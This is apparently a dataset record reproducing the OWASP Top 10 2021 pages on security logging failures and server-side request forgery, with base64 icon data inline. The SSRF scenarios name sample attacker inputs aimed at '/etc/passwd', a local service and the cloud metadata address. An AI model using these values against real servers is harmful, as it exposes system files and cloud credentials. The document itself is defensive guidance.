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){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 4 | 19.23% | 6.51% | 6.87 | 4.99 | 53.67% | 39.97% | 53,615 | 242 |
## Overview
Security logging and monitoring came from the Top 10 community survey (#3), up
slightly from the tenth position in the OWASP Top 10 2017. Logging and
monitoring can be challenging to test, often involving interviews or
asking if attacks were detected during a penetration test. There isn't
much CVE/CVSS data for this category, but detecting and responding to
breaches is critical. Still, it can be very impactful for accountability, visibility,
incident alerting, and forensics. This category expands beyond *CWE-778
Insufficient Logging* to include *CWE-117 Improper Output Neutralization
for Logs*, *CWE-223 Omission of Security-relevant Information*, and
*CWE-532* *Insertion of Sensitive Information into Log File*.
## Description
Returning to the OWASP Top 10 2021, this category is to help detect,
escalate, and respond to active breaches. Without logging and
monitoring, breaches cannot be detected. Insufficient logging,
detection, monitoring, and active response occurs any time:
- Auditable events, such as logins, failed logins, and high-value
transactions, are not logged.
- Warnings and errors generate no, inadequate, or unclear log
messages.
- Logs of applications and APIs are not monitored for suspicious
activity.
- Logs are only stored locally.
- Appropriate alerting thresholds and response escalation processes
are not in place or effective.
- Penetration testing and scans by dynamic application security testing (DAST) tools (such as OWASP ZAP) do
not trigger alerts.
- The application cannot detect, escalate, or alert for active attacks
in real-time or near real-time.
You are vulnerable to information leakage by making logging and alerting
events visible to a user or an attacker (see [A01:2021-Broken Access Control](A01_2021-Broken_Access_Control.md)).
## How to Prevent
Developers should implement some or all the following controls,
depending on the risk of the application:
- Ensure all login, access control, and server-side input validation
failures can be logged with sufficient user context to identify
suspicious or malicious accounts and held for enough time to allow
delayed forensic analysis.
- Ensure that logs are generated in a format that log management
solutions can easily consume.
- Ensure log data is encoded correctly to prevent injections or
attacks on the logging or monitoring systems.
- Ensure high-value transactions have an audit trail with integrity
controls to prevent tampering or deletion, such as append-only
database tables or similar.
- DevSecOps teams should establish effective monitoring and alerting
such that suspicious activities are detected and responded to
quickly.
- Establish or adopt an incident response and recovery plan, such as
National Institute of Standards and Technology (NIST) 800-61r2 or later.
There are commercial and open-source application protection frameworks
such as the OWASP ModSecurity Core Rule Set, and open-source log
correlation software, such as the Elasticsearch, Logstash, Kibana (ELK)
stack, that feature custom dashboards and alerting.
## Example Attack Scenarios
**Scenario #1:** A children's health plan provider's website operator
couldn't detect a breach due to a lack of monitoring and logging. An
external party informed the health plan provider that an attacker had
accessed and modified thousands of sensitive health records of more than
3.5 million children. A post-incident review found that the website
developers had not addressed significant vulnerabilities. As there was
no logging or monitoring of the system, the data breach could have been
in progress since 2013, a period of more than seven years.
**Scenario #2:** A major Indian airline had a data breach involving more
than ten years' worth of personal data of millions of passengers,
including passport and credit card data. The data breach occurred at a
third-party cloud hosting provider, who notified the airline of the
breach after some time.
**Scenario #3:** A major European airline suffered a GDPR reportable
breach. The breach was reportedly caused by payment application security
vulnerabilities exploited by attackers, who harvested more than 400,000
customer payment records. The airline was fined 20 million pounds as a
result by the privacy regulator.
## References
- [OWASP Proactive Controls: Implement Logging and
Monitoring](https://owasp.org/www-project-proactive-controls/v3/en/c9-security-logging.html)
- [OWASP Application Security Verification Standard: V7 Logging and
Monitoring](https://owasp.org/www-project-application-security-verification-standard)
- [OWASP Testing Guide: Testing for Detailed Error
Code](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code)
- [OWASP Cheat Sheet:
Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)
- [OWASP Cheat Sheet:
Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)
- [Data Integrity: Recovering from Ransomware and Other Destructive
Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)
- [Data Integrity: Identifying and Protecting Assets Against
Ransomware and Other Destructive
Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)
- [Data Integrity: Detecting and Responding to Ransomware and Other
Destructive
Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)
## List of Mapped CWEs
[CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)
[CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)
[CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)
[CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)
|
A10_2021-Server-Side_Request_Forgery_(SSRF).md | ./Top10/2021/docs/A10_2021-Server-Side_Request_Forgery_(SSRF).md | # A10:2021 – Server-Side Request Forgery (SSRF) ![icon](assets/TOP_10_Icons_Final_SSRF.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 1 | 2.72% | 2.72% | 8.28 | 6.72 | 67.72% | 67.72% | 9,503 | 385 |
## Overview
This category is added from the Top 10 community survey (#1). The data shows a
relatively low incidence rate with above average testing coverage and
above-average Exploit and Impact potential ratings. As new entries are
likely to be a single or small cluster of Common Weakness Enumerations (CWEs)
for attention and
awareness, the hope is that they are subject to focus and can be rolled
into a larger category in a future edition.
## Description
SSRF flaws occur whenever a web application is fetching a remote
resource without validating the user-supplied URL. It allows an attacker
to coerce the application to send a crafted request to an unexpected
destination, even when protected by a firewall, VPN, or another type of
network access control list (ACL).
As modern web applications provide end-users with convenient features,
fetching a URL becomes a common scenario. As a result, the incidence of
SSRF is increasing. Also, the severity of SSRF is becoming higher due to
cloud services and the complexity of architectures.
## How to Prevent
Developers can prevent SSRF by implementing some or all the following
defense in depth controls:
### **From Network layer**
- Segment remote resource access functionality in separate networks to
reduce the impact of SSRF
- Enforce “deny by default” firewall policies or network access
control rules to block all but essential intranet traffic.<br/>
*Hints:*<br>
~ Establish an ownership and a lifecycle for firewall rules based on applications.<br/>
~ Log all accepted *and* blocked network flows on firewalls
(see [A09:2021-Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures.md)).
### **From Application layer:**
- Sanitize and validate all client-supplied input data
- Enforce the URL schema, port, and destination with a positive allow
list
- Do not send raw responses to clients
- Disable HTTP redirections
- Be aware of the URL consistency to avoid attacks such as DNS
rebinding and “time of check, time of use” (TOCTOU) race conditions
Do not mitigate SSRF via the use of a deny list or regular expression.
Attackers have payload lists, tools, and skills to bypass deny lists.
### **Additional Measures to consider:**
- Don't deploy other security relevant services on front systems (e.g. OpenID).
Control local traffic on these systems (e.g. localhost)
- For frontends with dedicated and manageable user groups use network encryption (e.g. VPNs)
on independent systems to consider very high protection needs
## Example Attack Scenarios
Attackers can use SSRF to attack systems protected behind web
application firewalls, firewalls, or network ACLs, using scenarios such
as:
**Scenario #1:** Port scan internal servers – If the network architecture
is unsegmented, attackers can map out internal networks and determine if
ports are open or closed on internal servers from connection results or
elapsed time to connect or reject SSRF payload connections.
**Scenario #2:** Sensitive data exposure – Attackers can access local
files or internal services to gain sensitive information such
as `file:///etc/passwd` and `http://localhost:28017/`.
**Scenario #3:** Access metadata storage of cloud services – Most cloud
providers have metadata storage such as `http://169.254.169.254/`. An
attacker can read the metadata to gain sensitive information.
**Scenario #4:** Compromise internal services – The attacker can abuse
internal services to conduct further attacks such as Remote Code
Execution (RCE) or Denial of Service (DoS).
## References
- [OWASP - Server-Side Request Forgery Prevention Cheat
Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [PortSwigger - Server-side request forgery
(SSRF)](https://portswigger.net/web-security/ssrf)
- [Acunetix - What is Server-Side Request Forgery
(SSRF)?](https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/)
- [SSRF
bible](https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf)
- [A New Era of SSRF - Exploiting URL Parser in Trending Programming
Languages!](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
## List of Mapped CWEs
[CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)
| 5,220 | 0.004995 | # A10:2021 – Server-Side Request Forgery (SSRF) ![icon](data:image/png;base64,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